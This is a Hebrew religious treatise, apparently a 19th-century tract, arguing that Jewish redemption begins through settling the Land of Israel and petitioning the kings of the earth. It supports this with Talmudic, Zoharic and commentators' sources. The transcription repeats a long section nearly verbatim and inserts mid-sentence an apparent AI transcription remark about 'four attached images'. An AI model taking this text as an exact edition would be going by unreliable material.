אמרו רבותנו ז&quot;ל, גדול יום קיבוץ גליות, התחלת הגאולה אשר הוא פשוט ומפורש בהושע הסתירו אותו רז&quot;ל ולא דברו ממנו, כי דאגו פן יקום איש רע ובליעל ויקבץ ריקים ופוחזים ויעשו פרצה בעולם, ולכן השיאו את הענין למעלה מן הטבע, ודברו, על ביאת בן דוד באותות ומופתים בשמים ובארץ, ואמרו חידות ומשלים ויעודים גדולים ונפלאים כדי שדלת עמי הארץ יהיו עיניהם נשואות לאותות השמים, ובכל יום יטו אזנם לשמוע את קול השופר הגדול [עיין מ&quot;י ד' י&quot;ג ע&quot;ד] ובכל יום יחליפו כח לסבול עול הגלות והצרות, ע&quot;ד שאמרו במד' הנעלם פ' תולדות ד' קל&quot;ז ע&quot;א וז&quot;ל א&quot;ר יהושע האי מהימנותא דאמרו רבנן לרובא דעלמא דזמינין אינון בהאי סעודתא דלויתן וההוא תורא ולמשתי חמרא טב דאתנטר מבד אתברי עולם וכו', כה&quot;ג חמו רבנן דגלותא אתמשך, אסמכתמו על קראי דאורייתא ואמרו

דזמינין למיכל ולמחדי בסעודתא רבא דזמין קודשא ב&quot;ה למעבד להו ועל דא רובא דעלמא סבלו גלותא בגין ההוא סעודתא עכ&quot;ל.

וכאשר סבבונו צרות רבות ורעות נתנו אומץ בלבבם לאמר חבלי משיח הם! וככה עברנו את מעבר יבק קץ&quot;ב יובלות העולם הזה שנשלמו שנת תר&quot;ה, וב&quot;ה שמרנו את שבועת אלהינו שלא ימרדו באומות העולם [כתובות ד' ק&quot;יא ע&quot;א] וזה לנו האות לגודל חכמתם וידיעתם במדיניות, אם כשהשיאו את הענין למעלה מן הטבע יצאו אנשים בני בליעל ועשו מעשים אשר לא יעשו ועברו על נפשנו המים הזידונים היינו לשמה למשל ולשנינה! על אחת כמה וכמה אם היה דבר הקיבוץ ידוע לכל, וכן התשובה לא אמרו לנו הוראתו הראשונה שהיא תשובה לארץ כמו ותשובתו הרמתה כי שם ביתו [שמואל א' ז'] פן יתאספו ריקים ויאמרו נתנה ראש ונשובה, והדבר הזה אין אנו רשאים לעשות כי אם ברשיון מלכי הארץ, והם ישימו עלינו ראש אחד ויקראו לנו דרור לשוב אל ארצנו ואל נחלת אבותינו.

והתחלת הגאולה תהיה מן האומה בעצמה ונקבצו בני יהודה ובני ישראל יחדיו לפקח ולהשגיח בעניני הקבוץ ולכונן לבם אל הבקשה הכללית מאת מלכי הארץ. וכן כתיב [ישעיה נ&quot;א] התנערי מעפר קומי שבי ירושלים התפתחו מוסרי צוארך, בנין התפעל בנין עומד. ר&quot;ל שהם בעצמם יתפתחו ונקבצו וכו' וכן כתב הרב קול יעקב קול בוכים ד' ס&quot;ח ע&quot;א. ואם תאמר מי יאסוף אותנו ואנחנו מפוזרים בקצוי ארץ? אבל לא בקרבת הגופות תלוי הענין כי אם בקירוב הלבבות שנכונן לבנו אל הבקשה הכללית הנוגעת לכולנו יחד כמ&quot;ש [ירמיה נ'] בימים ההמה ובעת ההיא יבאו בני ישראל ובני יהודה יחדיו הלוך ובכו ילכו ואת ה' אלהיהם יבקשו. ציון ישאלו וכו' עכ&quot;ל. וסוף הגאולה על ידי הגואל הגדול מבני בניו של דוד. ומהתחלת הגאולה עד סופה ארבע מאות שנה כמ&quot;ש בפ' חלק רבי דוסא אומר ימות המשיח ת' שנה שמתחילין שנת ת&quot;ר עד האלף השביעי.ותכלית הגאולה היא מושגה הרוחני שיכירו וידעו כל יושבי תבל כי ה' הוא האלהים אין עוד מלבדו.כי לתכלית זה יהיה תחית המתים כמ&quot;ש מוהר&quot;י ארבנאל ז&quot;ל מ&quot;ד' מ&quot;א ע&quot;א וז&quot;ל וכבר זכרתי שתהיה הפליאה העצומה הזאת לשתי תכליות האחת כולל לכל באי עולם. והוא כדי שבאמצעות המתים שיקומו בתחיה אנשים יחידים והיותר רשומים שבכל מחוז ומחוז חכמיהם קדושיהם ונביאיהם יבאו האומות להאמין באלהות הש&quot;י ולעבדו שכם אחד כי הקמים יפרסמו ויגידו את מעשה ה' כי נורא הוא. ושמשה (צ&quot;ל ומשה) אמת ותורתו אמת עב&quot;ל. אך זה היום שקוינוהו. יום ה' הגדול והנורא. הוי כי גדול היום ההוא מאין כמוהו. ביום ההוא יהיה ה' אחד ושמו אחד. ונשגב ה' לבדו ביום ההוא. הוא יודע לה' הוא נעלם מעיני כל חי כמ&quot;ש כי יום נקם בלבי ושנת גאולי באה. אמרו בפ' חלק מאי יום נקם בלבי א&quot;ר יוחנן ללבי גליתי לאברי לא גליתי.רשב&quot;ל אומר ללבי גליתי למלאכי השרת לא גליתי. א&quot;כ כל מאמרי רז&quot;ל שאמרו על הגאולה וביאת משיחנו הם משום יגדיל תורה דרוש וקבל שכר כי אין אדם יודע מה בלבו של חברו אף כי בלבו של מקום. וכן כתב הרמב&quot;ם ז&quot;ל הלכות מלכים פ' י&quot;ב וז&quot;ל גם החכמים אין להם קבלה בדברים אלו. וכן כתב רבינו הגדול איש ירושלים כמוהר&quot;ר רפאל יוסף חזן זלה&quot;ה בספרו מערכי לב דרוש ק' וז&quot;ל וכל דברי רז&quot;ל בזה הוא לפי מה שהבינו בהכרע הכתובים. וברוך היודע אם ירדו לעומק הדברים עכ&quot;ל. ולכן בענינים אלו אין לדמות נברא לנברא.אבל קשה? כתיב כי לא יעשה אדני אלהים דבר כי אם גלה סודו אל עבדיו הנביאים. ולמה לא גילה להם רז זה שידברו על לב ירושלים ויקראו אליה יום מלאה צבאה יום נרצה עונה? וי&quot;ל כי הדבר הזה לא גילה מפני שתלוי במעשנו הטובים. ואלו צדיק ורשע לא קאמר ולכן לבא לפומא לא גלי. וכל מאמרי רז&quot;ל הם אמת וצדק. ולא יש בהם מחלוקת ולא מדרשים חלוקים. אלא אם נגיע במעשנו הטובים למעלה הידועה לפני ית', נשיג היעוד הטוב הראוי לאותה המעלה. ה' הבטיח לאברהם למועד אשוב אליך כעת חיה ולשרה בן. ואם אברהם לא יבא אל שרה לא תלד, ואבד ההבטחה הטובה. וכן כתיב וברכך ה' אלהיך יכול יושב ובטל, תלמוד לומר בכל אשר תעשה. וכן כתיב כי כארץ תוציא צמחה וכגנה זרועיה תצמיח. אם תזרע. לא תזרע לא תצמיח.כן אדני אלקים יצמיח צדקה ותהלה אם תזרע. ראוים היו בימי עזרא להעשות להם נס אלא שגרם החטא.

זרעו לכם לצדקה וכו'. ועוד יש לומר כי סוד הגאולה לא נגלה מפני שמסורה לבית דין שהם יעשו לפי ראות עיניהם לפי המקום ולפי הזמן. ולכן קרא עלי מועד. והצומות יהיו לבית יהודה למועדים טובים. לסימן כי הגאולה מסורה לבית דין כקביעות המועדים. וכן אמרו בזוה&quot;ק פ' אמור ד' צ&quot;ג ע&quot;ב. ע&quot;ש.


ג. תשועת ישראל היא לבקש מאת מלכי הארץ בקשה כללית בעד עמינו ובעד ערי אלהינו להחזירנו בתשובה אל בית אמנו ואל חדר הורתנו. והמבקש הבקשה הוא הגואל והמושיע. ותשועתנו מהרה תצמח ע&quot;י מלכי הארץ כמ&quot;ש ישעיה מ&quot;ט. כה אמר אדני אלקים הנה אשא אל גוים ידי וכו'. פי' מוהר&quot;י אברבנאל ז&quot;ל [מ&quot;ש ד' ב&quot;ה ע&quot;ד וז&quot;ל] ולפי שציון תתפלא על שיבת בניה לתוכה. לכן אמר הנביא הנה הדבר הזה יהיה בכח גבורתי וע&quot;י הגוים עצמם יהיה הנס הזה עכ&quot;ל. וכן כתב רד&quot;ק תהלים קמ&quot;ו. וכן כתב רבינו בחיי סוף פרשת תולדות. וכן יעוד הנביא ירמיה ל&quot;א. עוד אבנך ונבנית בתולת ישראל. פי' רד&quot;ק האסיפה והקיבוץ הוא דומיא דבנין. ר&quot;ל ונקבצו בני יהודה ובני ישראל יחדיו לכונן את לבבם אל הבקשה הכללית ואל התשובה הכללית דהיינו תשובה לארץ. וכן אמרו במד' ב&quot;ר פ' צ&quot;ח אם כן למה מלך המשיח בא וכו'. פי' הרב יפה תואר דאי לקבץ גליות אין צורך לו כי ה' מזרה ישראל יקבצנו כמ&quot;ש ונשא נס לגוים ואסף נדחי ישראל. וכן והביאו את כל אחיכם מכל הגוים מנחה לה'. וה' יעשה הדברים בדרך ארץ עב&quot;ל והדרך ארץ הוא לבקש חנינה מאת הארץ. וכן כתיב [ישעיה נ&quot;א] התנערי מעפר קומי שבי ירושלים התפתחו מוסרי צוארך, בנין התפעל בנין עומד. ר&quot;ל שהם בעצמם יתפתחו ונקבצו וכו' וכן כתב הרב קול יעקב קול בוכים ד' ס&quot;ח ע&quot;א. ואם תאמר מי יאסוף אותנו ואנחנו מפוזרים בקצוי ארץ? אבל לא בקרבת הגופות תלוי הענין כי אם בקירוב הלבבות שנכונן לבנו אל הבקשה הכללית הנוגעת לכולנו יחד כמ&quot;ש [ירמיה נ'] בימים ההמה ובעת ההיא יבאו בני ישראל ובני יהודה יחדיו הלוך ובכו ילכו ואת ה' אלהיהם יבקשו. ציון ישאלו וכו' עכ&quot;ל. וסוף הגאולה על ידי הגואל הגדול מבני בניו של דוד. ומהתחלת הגאולה עד סופה ארבע מאות שנה כמ&quot;ש בפ' חלק רבי דוסא אומר ימות המשיח ת' שנה שמתחילין שנת ת&quot;ר עד האלף השביעי. ותכלית הגאולה היא מושגה הרוחני שיכירו וידעו כל יושבי תבל כי ה' הוא האלהים אין עוד מלבדו. כי לתכלית זה יהיה תחית המתים כמ&quot;ש מוהר&quot;י אברבנאל ז&quot;ל מ&quot;ד' מ&quot;א ע&quot;א וז&quot;ל וכבר זכרתי שתהיה הפליאה העצומה הזאת לשתי תכליות האחת כולל לכל באי עולם. והוא כדי שבאמצעות המתים שיקומו בתחיה אנשים יחידים והיותר רשומים שבכל מחוז ומחוז חכמיהם קדושיהם ונביאיהם יבאו האומות להאמין באלהות הש&quot;י ולעבדו שכם אחד כי הקמים יפרסמו ויגידו את מעשה ה' כי נורא הוא. ושמשה (צ&quot;ל ומשה) אמת ותורתו אמת עב&quot;ל. אך זה היום שקוינוהו. יום ה' הגדול והנורא. הוי כי גדול היום ההוא מאין כמוהו. ביום ההוא יהיה ה'אחד ושמו אחד. ונשגב ה' לבדו ביום ההוא. הוא יודע לה' הוא נעלם מעיני כל חי כמ&quot;ש כי יום נקם בלבי ושנת גאולי באה. אמרו בפ' חלק מאי יום נקם בלבי א&quot;ר יוחנן ללבי גליתי לאברי לא גליתי. רשב&quot;ל אומר ללבי גליתי למלאכי השרת לא גליתי. א&quot;כ כל מאמרי רז&quot;ל שאמרו על הגאולה וביאת משיחנו הם משום יגדיל תורה דרוש וקבל שכר כי אין אדם יודע מה בלבו של חברו אף כי בלבו של מקום. וכן כתב הרמב&quot;ם ז&quot;ל הלכות מלכים פ' י&quot;ב וז&quot;ל גם החכמים אין להם קבלה בדברים אלו. וכן כתב רבינו הגדול איש ירושלים כמוהר&quot;ר רפאל יוסף חזן זלה&quot;ה בספרו מערכי לב דרוש ק' וז&quot;ל וכל דברי רז&quot;ל בזה הוא לפי מה שהבינו בהכרע הכתובים. וברוך היודע אם ירדו לעומק הדברים עכ&quot;ל. ולכן בענינים אלו אין לדמות נברא לנברא. אבל קשה? כתיב כי לא יעשה אדני אלהים דבר כי אם גלה סודו אל עבדיו הנביאים. ולמה לא גילה רז זה שידברו על לב ירושלים ויקראו אליה יום מלאה צבאה יום נרצה עונה? וי&quot;ל כי הדבר הזה לא גילה מפני שתלוי במעשנו הטובים. ואלו צדיק ורשע לא קאמר ולכן לבא לפומא לא גלי. וכל מאמרי רז&quot;ל הם אמת וצדק. ולא יש בהם מחלוקת ולא מדרשים חלוקים. אלא אם נגיע במעשנו הטוביםלמעלה הידועה לפני ית', נשיג היעוד הטוב הראוי לאותה המעלה. ה' הבטיח לאברהם למועד אשוב אליך כעת חיה ולשרה בן. ואם אברהם לא יבא אל שרה לא תלד, ואבד ההבטחה הטובה. וכן כתיב וברכך ה' אלהיך יכול יושב ובטל, תלמוד לומר בכל אשר תעשה. וכן כתיב כי כארץ תוציא צמחה וכגנה זרועיה תצמיח. אם תזרע. לא תזרע לא תצמיח. כן אדני אלקים יצמיח צדקה ותהלה אם תזרע. ראוים היו בימי עזרא להעשות להם נס אלא שגרם החטא. זרעו לכם לצדקה וכו'. ועוד יש לומר כי סוד הגאולה לא נגלה מפני שמסורה לבית דין שהם יעשו לפי ראות עיניהם לפי המקום ולפי הזמן. ולכן קרא עלי מועד. והצומות יהיו לבית יהודה למועדים טובים. לסימן כי הגאולה מסורה לבית דין כקביעות המועדים. וכן אמרו בזוה&quot;ק פ' אמור ד' צ&quot;ג ע&quot;ב. ע&quot;ש.

ג. תשועת ישראל היא לבקש מאת מלכי הארץ בקשה כללית בעד עמינו ובעד ערי אלהינו להחזירנו בתשובה אל בית אמנו ואל חדר הורתנו. והמבקש הבקשה הוא הגואל והמושיע. ותשועתנו מהרה תצמח ע&quot;י מלכי הארץ כמ&quot;ש ישעיה מ&quot;ט. כה אמר אדני אלקים הנה אשא אל גוים ידי וכו'. פי' מוהר&quot;י אברבנאל ז&quot;ל [מ&quot;ש ד' ב&quot;ה ע&quot;ד וז&quot;ל] ולפי שציון תתפלא על שיבת בניה לתוכה. לכן אמר הנביא הנה הדבר הזה יהיה בכח גבורתי וע&quot;י הגוים עצמם יהיה הנס הזה עכ&quot;ל. וכן כתב רד&quot;ק תהלים קמ&quot;ו. וכן כתב רבינו בחיי סוף פרשת תולדות. וכן יעוד הנביא ירמיה ל&quot;א. עוד אבנך ונבנית בתולת ישראל. פי' רד&quot;ק האסיפה והקיבוץ הוא דומיא דבנין. ר&quot;ל ונקבצו בני יהודה ובני ישראל יחדיו לכונן את לבבם אל הבקשה הכללית ואל התשובה הכללית דהיינו תשובה לארץ. וכן אמרו במד' ב&quot;ר פ' צ&quot;ח אם כן למה מלך המשיח בא וכו'. פי' הרב יפה תואר דאי לקבץ גליות אין צורך לו כי ה' מזרה ישראל יקבצנו כמ&quot;ש ונשא נס לגוים ואסף נדחי ישראל. וכן והביאו את כל אחיכם מכל הגוים מנחה לה'. וה' יעשה הדברים בדרך ארץ עב&quot;ל והדרך ארץ הוא לבקש חנינה מאת הנה הטקסט המלא המופיע בארבע התמונות החדשות שצירפת, מוקלד במדויק שורה אחר שורה לפי סדרן:

מלכי הארץ והבטיחה התורה ובקשתכם משם את ה' אלהיך ומצאתו. וכן כתיב ועלו מושיעים בהר ציון פי' מוהר&quot;י אברבנאל ז&quot;ל אל המלכיות [מ&quot;ש ד' פ&quot;פ ע&quot;ג] ורש&quot;י פי' שרי ישראל. והכל אחד כי שרי ישראל יבקשו מאת מלכי הארץ כמו שבקשו עזרא ונחמיה. וה' יטה את לבם לעשות את בקשתם. כמ&quot;ש ישעיה מ&quot;ד. מקים דבר עבדו ועצת מלאכיו ישלים האומר לירושלים תושב וכו'. פי' הרב כלי פז וז&quot;ל לא יהיה הוא ית' המתחיל כי אם ישראל והוא ית' ישלים.

ד. המבשר טוב המשמיע ישועה ישעיהו בן אמוץ החוזה מזרע המלוכה. יען משח ה' אותי לבשר ענוים לחבוש לנשברי לב מגיד מראשית אחרית פקודת בבל על ידי כורש. והגאולה העתידה ע&quot;י אדוננו השולטן יר&quot;ה. כי הוא האיש אדוני הארץ הקדושה. הוא שנאמר[ישעיה מ&quot;ה] כה אמר ה' למשיחו לכורש וכו' על פקודת בבל. ישראל נושע בה' תשועת עולמים על הגאולה העתידה. כי פקודת בבל לא היתה תשועת עולמים. יסוד מוסד אצלי. כי שנת ת&quot;ר נשלמו שנות העוה&quot;ז. ועברנו את מעבר יב&quot;ק קו&quot;ב יובלות. שנת ת&quot;ר מתחילין ת' שנה ימות המשיח ח' יובלות כנגד ח' ימי המילה. ולכן נשנית מתנת הארץ בברית המילה. כמ&quot;ש ב&quot;ר פ' ט' ויהי ערב ויהי בקר יום הששי א&quot;ר יודן זו שעה יתירה שמוסיפין מחול על הקודש. ובה נגמרה מלאכת העולם על כן כתיב הששי א&quot;ר סימון בר מרתא עד כאן מונין למניינו של עולם מכאן ואילך מונין למנין אחר. ר&quot;ל כתיב הששי ה' יתירה לרמוז ה' אלפים ת&quot;ר נשלמו שנות העו&quot;הז. מכאן ואילך הוא תוספת מחול על הקודש השבת הגדול והנורא האלף השביעי והן התחומין שקבע יעקב אבינו מבעוד יום הששי [ב&quot;ר פ' ע&quot;ט]. וכן אמרו בפירוש בזו&quot;הק פ' וירא ד' קט&quot;ז ע&quot;א ובשית מאה שנין לשתיתאה וכו' ויתתקן עלמא לאעלא בשביעאה. כבר נש דמתתקן ביומא שתיתאה מבי ערב שמשא לאעלא בשבתא וכו' א&quot;ל ר' יוסי כל דא אריכו זמנא מכמה דאוקמוה חברייא דאיהו יומא חדא גלותא דישראל ולא יתיר דכתיב נתנני שוממה כל היום דוה. אמר ר' יהודה הכי אוליפנא מאבא ברזא דאתוון דשמא קדישא וכו'. ר&quot;ל גאולת מצרים היתה בי&quot;ה משמו הגדול עזי וזמרת יה והגאולה העתידהבו&quot;ה. ה' אלפים שש מאות א&quot;ל ר' יוסי שפיר קאמרת דאיהו גו רזא דאתוון וכו'. והוא רזא דוא&quot;ו דכתיב וזכרתי את בריתי יעקוב. ה' פעמים כתיב יעקוב מלא ואליה חסר שלקח ממנו לערבון שיבא ויבשר גאולת בניו. [רש&quot;י בחקותי]. ה' פעמים רמז חמשת אלפים ו' רמז לשנת ת&quot;ר.

ה. כתיב ישעיה מ&quot;ב. כה אמר האל ה' בורא השמים וכו' פי' הרד&quot;ק ז&quot;ל גם זאת הפרשה מדברת במלך המשיח לפי שאמר בו הן עבדי אתמוך בו. זכר עתה שלא יהיה דבר נקל כי אם פלא עצום לפי מצב העם שהוא ממין הבריאה ולכן אמר בורא השמים עכ&quot;ל. ר&quot;ל גאולתנו היא בריאה החדשה כמו בריאת העולם יש מאין. כמ&quot;ש שם מ&quot;ג כה אמר ה' בוראך יעקב ויוצרך ישראל אל תירא כי גאלתיך. שם ס&quot;ה כי אם שישו וגילו עד אשר אני בורא. כי הנני בורא את ירושלים גילה ועמה משוש. בורא העולם יצר את האדם יחיד בעולמו וממנו הושתת העולם ומלואו. כך היא גאולתן של ישראל בתחילה קמעא קמעא כל מה שהיא, היא רבה והולכת. והיה ראשיתנו מצער ואחריתנו ישגא מאד. ואמר בורא השמים להודיע כי התחלת הגאולה תהיה בדרך ארץ כמ&quot;ש רבינו בחיי פ' נצבים כי קרוב אליך הדבר מאד בפיך ובלבבך לעשותו. ומה שנחתמה פ' הגאולה במלת לעשותו. כדי להשוות ענין הגאולה למעשה בראשית שנחתם אשר ברא אלהים לעשות. והשוה אחרית הזמן עם ראשית הזמן למען הודיעך כי שוין הן בענין פעולת הטבע ומנהגו של עולם. ותוספת הוא&quot;ו במלת לעשותו. לרמוז כי האלף הששי ינהוג מנהג ששת ימי המעשה עב&quot;ל. והוא אמרו זכר עתה שלא יהיה דבר נקל. כי הגאולה תהיה דרך טבע שאלו היה דרך נס היה נקל מאד כי לא יפלא מה' דבר ואפילו דרך טבע הוא פלא עצום מאוד לפי מצב העם עד שהוא ממין הבריאה. הטבע הוא ראשית הבריאה אשר ברא אלהים לעשות לקיום הבריאה שיהיה עולם כמנהגו נוהג עד סוף האלף הששי. כי הוא צוה ונבראו ויעמידם לעד לעולם חק נתן ולא יעבור. חק נקרא הטבע. כמ&quot;ש ישעיה ה' ופערה פיה לבלי חק פי' הראב&quot;ע הפך המנהג וכן כתב הרב ערכי הכנויים ערך חק הפך המשפט והמנהג. וכן כתב הרב מבלול יופי: ובן איוב כ&quot;ג מחקי צפנתי אמרי פיו פי' הרב מבלול יופי ממנהגי. ויש לפרש יותר מחקי כלומר יותר ממה שהיה מוטבע בחק תולדתי צפנתי אמרי פיו עב&quot;ל. וכן כתיב ירמיה ל&quot;ג. כה אמר ה' אם לא בריתי יומם ולילה חקות שמים וארץ לא שמתי. שם ל&quot;א כה אמר ה' נותן שמש לאור יומם חקות ירח וכוכבים לאור לילה. וכן אנו אומרים בברכת הלבנה חק וזמן נתן להם שלא ישנו את תפקידם.

ו. הטבע. דהיינו קיום העולם ועמידתו מגיד כבודאל וגדולתו ועוצם יכלתו. שהוציא כלי למעשהו שאינו צריך תיקון. כמ&quot;ש כי אראה שמיך מעשה אצבעותיך ירח וכוכבים אשר כוננת. השמים מספרים כבוד אל ומעשה ידיו מגיד הרקיע. ולכן הנסים שהם דרך טבע הם הגדולים והיקרים שהם נסים נסתרים לעשה נפלאות גדולות לבדו. והם כבודו ית' שמעשיושלמים ואינם צריכים תיקון. אמרו במדרש ילקוט ראובני פ' וארא דפ&quot;ה ע&quot;ד. וארא אל האבות באל שדי לעשות להם נסים נסתרים שלא ישתנה מנהגו של עולם. ברעב זנם ובמלחמה פלטם ממות והצילם ולתת להם עושר וכבוד וכו'. אבל בשמי ה' אשר נהיה בו כל היה לא נודעתי להם לברא להם החדשות בשינוי התולדות שהם נסים נגלים עב&quot;ל. והנסים שהם שלא כדרך הטבע מגרעות נותנים כמ&quot;ש [שבת ד' נ&quot;ג ע&quot;ב] באותו האיש שנעשה לו נס ונעשו דדיו כדדי אשה והניק את בנו. אמר אביי כמה גרוע האיש הזה שנשתנו עליו סדרי בראשית. והעושה מעשים אשר לא יעשו לשנות מנהגו של עולם. גדול עונו מנשא. כמ&quot;ש ילקוט ראובני פ' ויהי יששכר חמור גרם זה רבי עקיבא. וירא מנוחה של צדיקים בגן עדן כי טוב. ויט שכמו לסבול דינו של הקב&quot;ה ולא בטל הגזרה בשם. ראה כי אין טוב להשתמש בשמות. מכאן תבין עונש המטריה את קונו עב&quot;ל. ולכן המיושבים בדעתם אינם מצפין לישועה ע&quot;י איש אחד העושה נפלאות גדולות לבדו. המטריה את קונו לשנות סדרי בראשית. כי אם ע&quot;י אנשים יקרים אשר חננם ה' עושר וכבוד ודבריהם נשמעים בהיכלי מלכים. ולהם המצוה הזאת לרחם על פלטתנו. נענינו משמוע! נבהלנו מראות הצרות התכופות המתרגשות לבא עלינו! וכל הנאנחים והנאנקים [גי' תימן] צועקים לעזרה ע' האסיפות הנבחרות למחות את דמעותם מעל פניהם. וגם הם נבול יבולו כי לא יעלה לנו ארוכה ומרפא כי אם מרפואת הכלל. כמו שאמ השר הצרפתי [המגיד גליון י&quot;ז שנה שביעית מאמר בשובה ונחת] וז&quot;ל רק שמה רק על אדמתכם תוכלו להרפא רפואה שלימה מפצעיכם אלה דפה&quot;ה. ולכןאדונים נכבדים ראשי בני ישראל בכל מקום שהם תנו עוז לאלהים! מלאו ידכם היום לה' ועשו אתאשר תמצא ידכם. והוא יגמור בעדיכם. כמ&quot;ש רבינו בחיי פ' נח וז&quot;ל ולכן תצוה התורה שיעשה האדם כל יכלתו בדרך הטבע. ומה שיחסר הטבע ישלים הנס.&gt; וכל ההתחלות קשות. על אחת כמה וכמה גאולת ישראל שיש עליה מעוררים רבים וכן שלמים מדעתםאו שלא מדעתם. ומדברים סרה על ישוב ארץ חמדה ועל חונני עפרה! צוה ה' ליעקב סביביו צריו. כמו שהתמרמר רבינו מוהרצ&quot;ה קאלישער [המגיד גליון ל&quot;ה ש&quot;ח] וז&quot;ל גם בין הטובים שעירים ירקדו והמה במקום קדוש! יהלכון וישתבחו בעיר הקודש כך וכך עשינו!! ואם חפין בנו ה' ויתן בלב מלכי הארץ לעשות עמנו אות לטובה. הוא פלא עצום מאוד תם נסתר בדרך ארץ וכבוד. וכל ישראל יכירו וידעו כי הוא נס ופלא מאתו ית' ומושיע אין בלתו. כמ&quot;ש אבן אתה אל מסתתר אלהי ישראל מושיע. ומי שאינו מודה בנסים נסתרים אין לו חלק בתורת משה כמ&quot;ש הרמב&quot;ן ורבינו בחיי ז&quot;ל. והגאולה הזאת נחמו בכפלים בשתי גאולות ושני גואלים. תחילת הגאולה ע&quot;י מב&quot;י בנסים נסתרים כדרך גאולת בבל. וסוף הגאולה ע&quot;י הגואל הגדול מב&quot;ד ע&quot;י נסים גלוים ומפורסמים כדרך גאולת מצרים ובימי צאתנו מארץ מצרים יראנו נפלאות! בס' מעודד ענוים אות י&quot;ח ואות כ&quot;ג אמרתי כי שתי תשובות הן. תשובה פרטית ותשובה כללית. התשובה הפרטית היא שישוב האדם מעבירות שבידו. והיא נוהגת בכל מקום ובכל זמן והיא נצרכת בפרטות לכל איש ואיש לפי מעשיו להחיות את נפשו חיי העוה&quot;ב אחר הפרדה מן הגוף.ולכן נקראת תשובה פרטית. והתשובה הנז' באחרית הימים שבה הגאולה תלויה היא תשובה כללית. להחזיר שכינתו לציון בישוב ארץ ישראל. כמ&quot;ש בתיקונים תקון כ&quot;א ותשובתא מאי ניהו דיחזיר שכינתא לאתרה. והבטיחה הנביא הושע ג' אחר ישובו בני ישראל ובקשו את ה' אלהיהם ואת דוד מלכם ופחדו אל ה' ואל טובו באחרית הימים. פי' רש&quot;י אחר ימי הגולה וכו'. ולכן קראתי למאהבי לבו ונשובה אל ה'להתאסף אגודה אחת בדעה אחת לישב את ארצנו הק' וזאת תהיה תשובתנו אליו ית' לקבל אלהותו ושקולה ישיבת א&quot;י ככל מצות שבתורה. עוד שם אות יוד כתבתי על הפסוק ירמיה ח' כה אמר ה' היפלו ולא יקומו אם ישוב ולא ישוב. תרגום יונתן אם למיתב גלי קדמי דלא יתובון. ובדי שלא לדבר דלטורין על ישראל כתבתי בזה הלשון. גלוי וידוע לפני שלא יזכו לתשובה בחו&quot;ל. כמו שלא זכינו אלף ותשצ&quot;ז שנה שאנו בו היום לחרבן בית אחינו. (היינו בזמן המחבר הנז') ואנחנו  לא נושענו ואין הדבר תלוי אלא בתשובה. ואפילו משה רבינו לא זכה לסוד התשובה בחו&quot;ל. ולכן התחנן אעברה נא ואראה את הארץ הטובה לזכות שם לתשובה כמ&quot;ש הרב מגלה עמוקות אופן כ&quot;ט. ולכן אמרתי ארפא משובתם להתסופף בבית אלהינו ושם נזכה לתשובה. כי קדושת הארץ תעזרנו  כמ&quot;ש יחזקאל כ' כי בהר קדשי בהר מרום ישראל שם אעבדוני ושם כתיב דברים ל' והביאך ה' אלהיך  אל הארץ. ושם ומל ה' אלהיך את לבבך. ירמיה ל&quot;ב הנני מקבצם מכל הארצות וכו'. ואת יראתי אתן בלבבם. שם ל&quot;ג והשיבותי את שבות יהודה וכו' וטהרתים מכל עונם. וכן יחזקאל ל&quot;ד והוצאתים מן העמים וקבצתים מן הארצות והביאותים אל אדמתם. ושם את האובדת אבקש ואת הנדחת אשיב. שם ל&quot;ו ולקחתי אתכם מן העמים וקבצתי אתכם מכל הארצות והבאתי אתכם אל אדמתכם וזרקתי עליכם מים טהורים וטהרתם. ואם כל הכבוד הזה נזכה בחו&quot;ל. הוי&quot;ל תחילה ומל ה' אלהיך. ואח&quot;כ והביאך ה' אלהיך אל הארץ. תחילה וזרקתי עליכם מים טהורים. ואח&quot;כ ולקחתי אתכם מן העמים. וכשם שיש מעלה ויתרון לתורת א&quot;י על תורת חו&quot;ל. כך יש מעלה ויתרון לתשובת א&quot;י על תשובת חו&quot;ל וכן יש מעלה ויתרון לתשובה כללית על תשובה פרטית. ולצדקה כללית על צדקה פרטית. ולישוב א&quot;י הכללי. על ישוב ארץ ישראל הפרטי. תורת א&quot;י היא תורה כללית יש לכל ישראל חלק בה. כי התורהנקראת משפט אלהי הארץ. וכל ישראל יש להם חלק באלהי ישראל ובתורתו ובחבל נחלתו. ולכן כל ישראל חייבים לחזק את התורה בא&quot;י מקום כבודה להגדילה ולהאדירה כי היא חיינו ואורך ימינו ולולא תורת א&quot;י לא היתה לנו תקומה בחו&quot;ל. כי אנו בחו&quot;ל דומים כמי שאין לו אלוה. וכן תשובת א&quot;י היא תשובה כללית יש לכל ישראל חלק בה. ואפילו אחד השב אליו ית' לקבל אלהותו בא&quot;י משיב חרון אפו ית' שנא' כי שב אפי ממנו. ולכן כל ישראל חייבים לחזק ביד מי שנדבנו לבו להסתופף בבית אלהינו על אחת כמה וכמה שחייבים כל ישראל לחזק את החברה הק' חברת ישוב א&quot;י שהיא תשובה דרבים. ז&quot;ש רז&quot;ל כל הקיצין כלו ואין הדבר תלוי אלא בתשובה ומעשים טובים. ר&quot;ל להחזיק את התורה ואת התשובה בא&quot;י.

ט. ועתה אחינו אנשי גאולתנו! תנו לה' אלהיכם כבוד שימו לבבכם ומגמתכם אל המטרה הקדושה להחזיר שכינתו לציון בישוב ארצנו הקדושה. כי בחר ה' בציון אוה למושב לו. ואחיכם בני ישראל הנדכאים והנרדפים והנדחים השרופים והמטולטלים הנודדים ללחם צמאה נפשם לאלהים ועיניהם תלויות רואות וכלות כל הימים גם לילות אל ישוב הארץ. אולי ימצאו מנוח ושם ינוחו יגיעי כח על שלחן אביהם שבשמים. ובשמעם איש מדבר סרה על ישוב הארץ הם פורשים ובוכים ופלגי מים תרד עינם דמעת עשוקים שאין להם מנחם! 

ראשי בני ישראל הבו גודל לאלהינו! גדול ה'

